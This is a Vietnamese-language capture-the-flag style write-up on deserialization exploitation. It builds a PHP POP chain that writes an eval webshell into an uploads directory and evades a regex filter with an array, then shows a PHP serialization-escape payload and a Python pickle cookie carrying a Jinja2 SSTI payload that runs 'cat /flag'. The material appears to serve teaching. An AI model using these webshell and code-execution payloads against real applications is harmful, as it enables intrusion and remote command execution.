Phân tích chuỗi POP Chain trong PHP Deserialization
Trong thử thách này, chúng ta đối mặt với một kịch bản Deserialization phức tạp yêu cầu xây dựng một chuỗi POP (Property Oriented Programming) chain để thực thi hành động ghi tệp tin. Cấu trúc mã nguồn cung cấp các class với các magic method như __destruct, __set, và __call.
<?php
class MainProcess {
public $executor;
public $data;
function __destruct() {
// Kích hoạt __set của class khác khi truy cập thuộc tính không tồn tại
$this->executor->undefined_property = $this->data;
}
}
class PropertySetter {
function __set($prop, $val) {
// Chuyển hướng lời gọi đến một method không tồn tại của $val
$val->$prop();
}
}
class MethodCaller {
public $callback;
function __call($name, $args) {
// Thực thi callback được chỉ định
call_user_func($this->callback);
}
}
class LogManager {
public $filename_raw;
public $content;
function write() {
$storage = "uploads";
if (!is_dir($storage)) mkdir($storage);
$target = md5($this->filename_raw . $_SERVER["REMOTE_ADDR"]) . ".php";
// Bypass bộ lọc regex bằng cách sử dụng mảng thay vì chuỗi
if (preg_match("/[<>?]/", $this->content)) {
die("Blocked!");
} else {
file_put_contents("./uploads/" . $target, $this->content);
}
}
}
Để khai thác, chúng ta xây dựng chuỗi liên kết: MainProcess::__destruct -> PropertySetter::__set -> MethodCaller::__call -> LogManager::write. Lưu ý rằng hàm file_put_contents trong PHP có thể chấp nhận một mảng dữ liệu, giúp vượt qua kiểm tra preg_match vốn chỉ hoạt động hiệu quả trên chuỗi.
<?php
class MainProcess {
public $executor;
public $data;
}
class PropertySetter {}
class MethodCaller {
public $callback;
}
class LogManager {
public $filename_raw = "session_debug";
public $content = ["payload" => "<?php eval(\$_POST['cmd']);?>"];
}
$payload = new MainProcess();
$payload->executor = new PropertySetter();
$payload->data = new MethodCaller();
$payload->data->callback = [new LogManager(), "write"];
echo serialize($payload);
Kỹ thuật ghi đè dữ liệu qua Serialization Escape
Lỗ hổng tiếp theo liên quan đến việc thay đổi độ dài chuỗi sau khi thực hiện serialize thông qua hàm lọc (filter). Khi một từ khóa được thay thế bằng một chuỗi dài hơn, nó sẽ tạo ra sự "tràn" dữ liệu, cho phép chúng ta thoát khỏi cấu trúc hiện tại và chèn thêm các thuộc tính mới vào mảng.
<?php
function filter_output($input) {
// Mỗi từ 'flag' (4 ký tự) biến thành 'nono!' (5 ký tự), dư ra 1 ký tự
return preg_replace("/flag/i", "nono!", $input);
}
// Logic xử lý:
// $data = unserialize(filter_output(serialize($ctf)));
Mục tiêu là ghi đè giá trị của sss2 thành webwebweb. Chuỗi cần chèn thêm là: ";s:4:"sss2";s:9:"webwebweb";}. Chuỗi này có độ dài 31 ký tự. Do mỗi cụm "flag" tạo ra 1 ký tự dư thừa, chúng ta cần lặp lại 31 lần từ "flag" để đẩy lùi phần còn lại của chuỗi serialized cũ ra sau.
Payload cuối cùng sẽ có dạng:
?ky=flagflag...[31 lần]...flag";s:4:"sss2";s:9:"webwebweb";}
Khai thác Python Pickle Deserialization kết hợp SSTI
Trong ứng dụng Flask, thông tin người dùng thường được lưu trữ trong Cookie dưới dạng mã hóa hoặc serialized. Nếu ứng dụng sử dụng thư viện pickle để xử lý đối tượng người dùng mà không có cơ chế ký số an toàn, chúng ta có thể chèn các đối tượng độc hại.
Script tạo Cookie chứa đối tượng có thuộc tính name mang payload Server-Side Template Injection (SSTI):
import base64
import pickle
class Identity:
def __init__(self, username):
self.username = username
self.is_admin = True
# Payload SSTI để đọc tệp hệ thống thông qua môi trường Flask
ssti_payload = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
user_obj = Identity(ssti_payload)
# Serialize đối tượng và mã hóa base64 để đưa vào Cookie
cookie_value = base64.b64encode(pickle.dumps(user_obj)).decode()
print(f"Set-Cookie: user={cookie_value}")
Khi ứng dụng nhận được Cookie này, nó sẽ giải mã đối tượng Identity. Khi thuộc tính username được đưa vào template để render mà không qua xử lý, công cụ Jinja2 sẽ thực thi đoạn mã trong dấu ngoặc nhọn, cho phép đọc flag từ hệ thống.